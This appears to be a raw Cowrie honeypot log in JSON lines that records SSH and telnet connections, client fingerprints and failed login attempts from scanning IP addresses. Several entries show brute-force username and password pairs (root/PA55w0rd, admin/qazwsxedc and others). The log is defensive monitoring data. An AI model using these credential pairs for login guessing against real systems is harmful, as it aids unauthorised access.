{"eventid":"cowrie.session.closed","duration":38.3591411113739,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:47.331403Z","src_ip":"188.166.220.49","session":"9d100721df7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":60898,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e01f7977dc1","protocol":"ssh","message":"New connection: 103.148.100.146:60898 (159.203.135.109:22) [session: 7e01f7977dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:48.706954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:48.712003Z","src_ip":"103.148.100.146","session":"7e01f7977dc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:48.976421Z","src_ip":"103.148.100.146","session":"7e01f7977dc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PA55w0rd","message":"login attempt [root/PA55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:50.060045Z","src_ip":"103.148.100.146","session":"7e01f7977dc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:51.337875Z","src_ip":"103.148.100.146","session":"7e01f7977dc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":55320,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a0dbc0bc046","protocol":"telnet","message":"New connection: 188.166.220.49:55320 (159.203.135.109:23) [session: 3a0dbc0bc046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:53.799256Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":55518,"dst_ip":"159.203.135.109","dst_port":23,"session":"85e5a2c551b3","protocol":"telnet","message":"New connection: 188.166.220.49:55518 (159.203.135.109:23) [session: 85e5a2c551b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:53.934135Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":39708,"dst_ip":"159.203.135.109","dst_port":22,"session":"f712f72cdb6c","protocol":"ssh","message":"New connection: 45.78.208.179:39708 (159.203.135.109:22) [session: f712f72cdb6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:56.208458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:56.213396Z","src_ip":"45.78.208.179","session":"f712f72cdb6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:56.449705Z","src_ip":"45.78.208.179","session":"f712f72cdb6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qazwsxedc","message":"login attempt [admin/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:57.425145Z","src_ip":"45.78.208.179","session":"f712f72cdb6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:05:58.663370Z","src_ip":"45.78.208.179","session":"f712f72cdb6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.53805470466614,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:00.219298Z","src_ip":"188.166.220.49","session":"421d8add4ce1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":34776,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d4c21b96ffb","protocol":"telnet","message":"New connection: 188.166.220.49:34776 (159.203.135.109:23) [session: 9d4c21b96ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:00.294292Z"}
{"eventid":"cowrie.session.closed","duration":36.323312282562256,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:03.486276Z","src_ip":"188.166.220.49","session":"8c2106f78a7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.74016070365906,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:04.793950Z","src_ip":"188.166.220.49","session":"d9ab790c9252","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.47342777252197,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:08.633524Z","src_ip":"188.166.220.49","session":"2ad8c2720203","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.81012511253357,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:10.360111Z","src_ip":"188.166.220.49","session":"0a986b57a1de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35984,"dst_ip":"159.203.135.109","dst_port":22,"session":"3978b892518d","protocol":"ssh","message":"New connection: 159.203.92.129:35984 (159.203.135.109:22) [session: 3978b892518d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:12.331319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:12.335820Z","src_ip":"159.203.92.129","session":"3978b892518d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:12.339778Z","src_ip":"159.203.92.129","session":"3978b892518d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"neobayneobay12#$","message":"login attempt [admin/neobayneobay12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:12.353000Z","src_ip":"159.203.92.129","session":"3978b892518d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":50710,"dst_ip":"159.203.135.109","dst_port":23,"session":"26cdf7a005f5","protocol":"telnet","message":"New connection: 188.166.220.49:50710 (159.203.135.109:23) [session: 26cdf7a005f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:13.112828Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:13.359661Z","src_ip":"159.203.92.129","session":"3978b892518d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.47570538520813,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:13.546978Z","src_ip":"188.166.220.49","session":"d88f5e19c964","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":51968,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cab5bc791d7","protocol":"telnet","message":"New connection: 188.166.220.49:51968 (159.203.135.109:23) [session: 0cab5bc791d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:15.181719Z"}
{"eventid":"cowrie.session.closed","duration":35.41512680053711,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:17.610842Z","src_ip":"188.166.220.49","session":"c851d415d8b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":56668,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5036773e987","protocol":"telnet","message":"New connection: 188.166.220.49:56668 (159.203.135.109:23) [session: a5036773e987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:18.164469Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":59904,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bed66d6471a","protocol":"telnet","message":"New connection: 188.166.220.49:59904 (159.203.135.109:23) [session: 2bed66d6471a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:21.018027Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":60060,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea04c94734a2","protocol":"telnet","message":"New connection: 188.166.220.49:60060 (159.203.135.109:23) [session: ea04c94734a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:24.151458Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":35072,"dst_ip":"159.203.135.109","dst_port":23,"session":"c74e6ff36820","protocol":"telnet","message":"New connection: 188.166.220.49:35072 (159.203.135.109:23) [session: c74e6ff36820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:25.138793Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":36324,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fdada024c90","protocol":"telnet","message":"New connection: 188.166.220.49:36324 (159.203.135.109:23) [session: 3fdada024c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:25.249006Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":36546,"dst_ip":"159.203.135.109","dst_port":23,"session":"c36d4073aae6","protocol":"telnet","message":"New connection: 188.166.220.49:36546 (159.203.135.109:23) [session: c36d4073aae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:25.432770Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":61137,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa2b30f3ef60","protocol":"ssh","message":"New connection: 223.197.186.7:61137 (159.203.135.109:22) [session: aa2b30f3ef60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:27.259964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:27.264708Z","src_ip":"223.197.186.7","session":"aa2b30f3ef60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:27.489585Z","src_ip":"223.197.186.7","session":"aa2b30f3ef60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"w123456789","message":"login attempt [root/w123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:28.400964Z","src_ip":"223.197.186.7","session":"aa2b30f3ef60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:29.618174Z","src_ip":"223.197.186.7","session":"aa2b30f3ef60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.74317669868469,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:29.677196Z","src_ip":"188.166.220.49","session":"85e5a2c551b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.367908239364624,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:30.167036Z","src_ip":"188.166.220.49","session":"3a0dbc0bc046","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":43038,"dst_ip":"159.203.135.109","dst_port":23,"session":"807843138c38","protocol":"telnet","message":"New connection: 188.166.220.49:43038 (159.203.135.109:23) [session: 807843138c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:31.407844Z"}
{"eventid":"cowrie.session.closed","duration":35.98583769798279,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:36.280004Z","src_ip":"188.166.220.49","session":"9d4c21b96ffb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":50888,"dst_ip":"159.203.135.109","dst_port":23,"session":"f35e6bcde5d5","protocol":"telnet","message":"New connection: 188.166.220.49:50888 (159.203.135.109:23) [session: f35e6bcde5d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:38.337492Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":53814,"dst_ip":"159.203.135.109","dst_port":23,"session":"7de16580a6c1","protocol":"telnet","message":"New connection: 188.166.220.49:53814 (159.203.135.109:23) [session: 7de16580a6c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:40.502141Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":56390,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f453402cc35","protocol":"telnet","message":"New connection: 188.166.220.49:56390 (159.203.135.109:23) [session: 9f453402cc35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:42.391735Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":58438,"dst_ip":"159.203.135.109","dst_port":23,"session":"68ff447da2a5","protocol":"telnet","message":"New connection: 188.166.220.49:58438 (159.203.135.109:23) [session: 68ff447da2a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:43.944377Z"}
{"eventid":"cowrie.session.closed","duration":33.489744901657104,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:48.671343Z","src_ip":"188.166.220.49","session":"0cab5bc791d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.58195352554321,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:48.694669Z","src_ip":"188.166.220.49","session":"26cdf7a005f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":50410,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff765cb57524","protocol":"ssh","message":"New connection: 103.148.100.146:50410 (159.203.135.109:22) [session: ff765cb57524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:50.429088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:50.433408Z","src_ip":"103.148.100.146","session":"ff765cb57524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:50.712235Z","src_ip":"103.148.100.146","session":"ff765cb57524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Go@123456","message":"login attempt [root/Go@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:51.825936Z","src_ip":"103.148.100.146","session":"ff765cb57524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:53.101884Z","src_ip":"103.148.100.146","session":"ff765cb57524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.238972902297974,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:53.403316Z","src_ip":"188.166.220.49","session":"a5036773e987","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56260,"dst_ip":"159.203.135.109","dst_port":22,"session":"585202a1482e","protocol":"ssh","message":"New connection: 159.203.92.129:56260 (159.203.135.109:22) [session: 585202a1482e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:06:57.290195Z"}
